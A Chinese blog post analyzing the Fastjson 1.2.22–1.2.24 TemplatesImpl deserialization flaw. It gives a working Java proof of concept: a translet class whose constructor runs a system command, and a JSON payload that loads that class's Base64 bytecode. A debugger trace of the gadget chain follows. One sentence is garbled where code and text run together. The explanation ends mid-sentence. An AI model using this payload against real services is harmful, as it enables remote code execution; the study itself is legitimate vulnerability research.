您当前的位置: 首页 >  Java

Snakin_ya

暂无认证

  • 3浏览

    0关注

    107博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

[Java安全]Fastjson 1.2.22-1.2.24 TemplatesImpl利用链分析

Snakin_ya 发布时间:2022-04-18 15:53:56 ,浏览量:3

简介

对于Fastjson 1.2.22-1.2.24 版本的反序列化漏洞的利用,目前已知的主要有以下的利用链:

  • 基于TemplateImpl;
  • 基于JNDI(又分为基于Bean Property类型和Field类型);

这里我使用的环境是JDK7u51

fastjson-1.2.24.jar,commons-codec-1.12.jar,commons-io-2.5.jar,unboundid-ldapsdk-4.0.9.jar

反序列化TemplatesImpl类+类加载触发

先看一下POC:

Test.java

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Test extends AbstractTranslet {
    public Test() throws IOException {
        Runtime.getRuntime().exec("calc");
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }

    @Override
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {

    }

    public static void main(String[] args) throws Exception {
        Test t = new Test();
    }
}

fastjson.java

package fastjson;

import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.*;
import com.alibaba.fastjson.parser.ParserConfig;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.io.IOUtils;


import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;

public class fastjson {
    public static String readClass(String cls){
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        try {
            IOUtils.copy(new FileInputStream(new File(cls)), bos);
        } catch (IOException e) {
            e.printStackTrace();
        }
        return Base64.encodeBase64String(bos.toByteArray());
    }

    public static void main(String args[]){
        try {
            ParserConfig config = new ParserConfig();
            final String evilClassPath = System.getProperty("user.dir") + "\\out\\production\\UNSER\\fastjson\\Test.class";
            String evilCode = readClass(evilClassPath);
            final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
            String payload = "{\"@type\":\"" + NASTY_CLASS +
                    "\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'','_tfactory':{ },\"_outputProperties\":{ }," +
                    "\"_version\":\"\"}\n";

            JSON.parseObject(payload, Object.class, config, Feature.SupportNonPublicField);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

我们构造的payload:

{
	"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
	"_bytecodes": ["yv66vgAAADQA...CJAAk="],
	"_name": "s",
	"_tfactory": {},
	"_outputProperties": {},
}

解释一下json中各部分的含义:

  • @type——指定的解析类,即com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,Fastjson根据指定类去反序列化得到该类的实例,在默认情况下只会去反序列化public修饰的属性,在PoC中,_bytecodes_name都是私有属性,所以想要反序列化这两个属性,需要在parseObject()时设置Feature.SupportNonPublicField
  • _bytecodes——是我们把恶意类的.class文件二进制格式进行Base64编码后得到的字符串;
  • _outputProperties——漏洞利用链的关键会调用其参数的getOutputProperties()方法,进而导致命令执行;
  • _tfactory:{},_name——为了满足漏洞点触发之前不报异常及退出,我们还需要满足 _name 不为 null ,_tfactory 不为 null;

最终运行即可弹出计算器:

image-20220417120716631

流程分析

首先在反序列化处打上断点:

JSON.parseObject(payload, Object.class, config, Feature.SupportNonPublicField);

后续跟进到DefaultJSONParser parser

DefaultJSONParser parser = new DefaultJSONParser(input, config, featureValues);

DefaultJSONParser会对json格式进行扫描

image-20220417121652762

这里匹配到{并将token设置为12,继续跟进parser.parseObject

image-20220418001959731

继续跟进parser.parse方法,通过switch语句进入case12,执行DefaultJSONParser.parseObject()

通过while语句循环解析json数据

image-20220418131358173

其中skipWhitespace()函数用于去除数据中的空格字符,然后获取当前字符是否为双引号,是的话就调用scanSymbol()获取双引号内的内容,这里得到第一个双引号里的内容为”@type”:

image-20220418132218436

之后通过判断后调用scanSymbol()获取到了@type对应的指定类com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,并调用TypeUtils.loadClass()函数加载该类

image-20220418134137821

跟进,这里两个if语句判断当前类名是否以[开头或以L开头以;结尾,这部分涉及之后补丁的绕过

image-20220418134353578

通过ClassLoader.loadClass()加载到目标类后,然后将该类名和类缓存到Map中,最后返回该加载的类:

image-20220418134731261

返回后,程序继续回到DefaultJSONParser.parseObject()中往下执行,在最后调用JavaBeanDeserializer.deserialze()对目标类进行反序列化:

image-20220418135825259

继续跟进,循环扫描解析,解析到key为_bytecodes时,调用parseField()进一步解析:

image-20220418142834334

对于该属性,在smartMatch函数中对其下划线进行了删除

for(i = 0; i  newTransformer() -> getTransletInstance() -> defineTransletClasses() / EvilClass.newInstance(). 

调用栈:

getTransletInstance:387, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:418, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:439, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:57, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:606, Method (java.lang.reflect)
setValue:85, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
deserialze:45, JavaObjectDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:639, DefaultJSONParser (com.alibaba.fastjson.parser)
parseObject:339, JSON (com.alibaba.fastjson)
parseObject:302, JSON (com.alibaba.fastjson)
main:36, fastjson (fastjson)
为什么恶意类需要继承AbstractTranslet类

getTransletInstance()函数会先调用defineTransletClasses()方法来生成一个Java类,跟进一下

image-20220418151623787

这里会判断恶意类的父类类名是否是ABSTRACT_TRANSLET,是的话_transletIndex变量的值被设置为0,到后面的if判断语句中就不会被识别为

关注
打赏
1650510800
查看更多评论
0.0390s